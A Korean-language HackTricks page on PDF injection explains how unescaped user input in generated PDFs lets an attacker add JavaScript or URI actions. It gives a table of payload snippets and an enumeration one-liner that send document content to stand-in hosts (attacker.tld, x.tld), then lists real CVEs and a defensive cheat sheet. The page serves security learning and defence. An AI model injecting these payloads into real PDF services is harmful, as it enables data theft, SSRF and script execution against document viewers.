PDF Injection
Reading time: 4 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
PDF 파일 내에서 입력이 반영되는 경우, JavaScript를 실행하거나 SSRF를 수행하거나 PDF 콘텐츠를 훔치기 위해 PDF 데이터를 주입할 수 있습니다. PDF 구문은 매우 관대합니다 – 입력을 포함하는 문자열이나 사전에서 벗어날 수 있다면, Acrobat/Chrome이 기꺼이 구문 분석할 새로운 객체(또는 동일한 객체의 새로운 키)를 추가할 수 있습니다. 2024년부터 버그 바운티 보고서의 물결이 하나의 이스케이프되지 않은 괄호나 백슬래시로도 전체 스크립트 실행이 가능하다는 것을 보여주었습니다.
TL;DR – 현대 공격 워크플로우 (2024)
- 생성된 PDF의 (괄호 문자열),
/URI ( … )
또는/JS ( … )
필드 내에 위치하는 사용자 제어 값 찾기. )
(문자열 닫기) 다음에 아래의 원시 중 하나를 주입하고 구문을 유효하게 유지하기 위해 또 다른 여는 괄호로 마무리합니다.- 악성 PDF를 피해자에게 전달하거나(또는 파일을 자동으로 렌더링하는 백엔드 서비스에 전달 – 블라인드 버그에 유용).
- PDF 뷰어에서 페이로드가 실행됩니다:
- Chrome / Edge → PDFium Sandbox
- Firefox → PDF.js (CVE-2024-4367 참조)
- Acrobat → 전체 JavaScript API (임의 파일 내용을
this.getPageNthWord
로 유출할 수 있음)
예시 (주석 링크 하이재킹):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
첫 번째 )
는 원래 URI 문자열을 닫고, 사용자가 링크를 클릭할 때 Acrobat이 실행할 새로운 Action 사전을 추가합니다.
유용한 주입 원시
목표 | 페이로드 스니펫 | 비고 |
---|---|---|
열 때 JavaScript | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | 문서가 열릴 때 즉시 실행됩니다 (Acrobat에서 작동, Chrome에서는 작동하지 않음). |
링크에서 JavaScript | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | /Link 주석을 제어할 경우 PDFium 및 Acrobat에서 작동합니다. |
블라인드 데이터 유출 | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | JS 내에서 this.getPageNthWord 와 결합하여 콘텐츠를 훔칩니다. |
서버 측 SSRF | 위와 동일하지만 내부 URL을 타겟으로 설정 – PDF가 /URI 를 존중하는 백오피스 서비스에 의해 렌더링될 때 유용합니다. | |
새 객체를 위한 줄 바꿈 | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | 라이브러리가 새 줄 문자를 주입할 수 있게 허용하면 완전히 새로운 객체를 생성할 수 있습니다. |
블라인드 열거 트릭
Gareth Heyes (PortSwigger)는 알 수 없는 문서 내의 모든 객체를 열거하는 원라이너를 발표했습니다 – 생성된 PDF를 볼 수 없을 때 유용합니다:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
코드는 Acrobat DOM을 반복하며 모든 속성/값 쌍에 대해 외부 요청을 수행하여 파일의 JSON-ish 덤프를 제공합니다. 전체 기술에 대한 내용은 백서 “Portable Data exFiltration”을 참조하십시오.
실제 버그 (2023-2025)
- CVE-2024-4367 – Firefox의 PDF.js 4.2.67 이전에서 임의의 JavaScript 실행이 조작된
/JavaScript
작업으로 샌드박스를 우회했습니다. - 버그 바운티 2024-05 – 주요 핀테크가 고객 제공 송장 노트를
/URI
에 허용했으며,file:///
URI를 사용하여 내부 메타데이터 호스트에 대한 SSRF를 시연한 후 보고서에 $10k가 지급되었습니다. - CVE-2023-26155 – 비정상적인 PDF 경로를 통한
node-qpdf
명령 주입은 PDF 레이어 이전에 백슬래시와 괄호를 이스케이프하는 것의 중요성을 보여줍니다.
방어용 치트시트
- 절대 사용자 입력을
(
…)
문자열이나 이름에 연결하지 마십시오. PDF 사양 §7.3에 따라 필요한 경우\
,(
,)
를 이스케이프하거나 16진수 문자열<...>
을 사용하십시오. - 링크를 생성할 경우,
/URI (https://…)
를 선호하며 완전히 URL 인코딩하십시오; 클라이언트 뷰어에서javascript:
스킴을 차단하십시오. - PDF 후처리 시
/OpenAction
,/AA
(추가 작업),/Launch
,/SubmitForm
및/ImportData
사전을 제거하거나 검증하십시오. - 서버 측에서는 신뢰할 수 없는 PDF를 JavaScript 및 외부 작업을 제거하는 헤드리스 변환기 (예: qpdf –decrypt –linearize)로 렌더링하십시오.
- PDF 뷰어를 최신 상태로 유지하십시오; PDF.js < 4.2.67 및 2024년 7월 이전의 Acrobat Reader는 사소한 코드 실행을 허용합니다.
참고문헌
- Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (2024년 5월 업데이트). https://portswigger.net/research/portable-data-exfiltration
- Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (2024년 4월). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.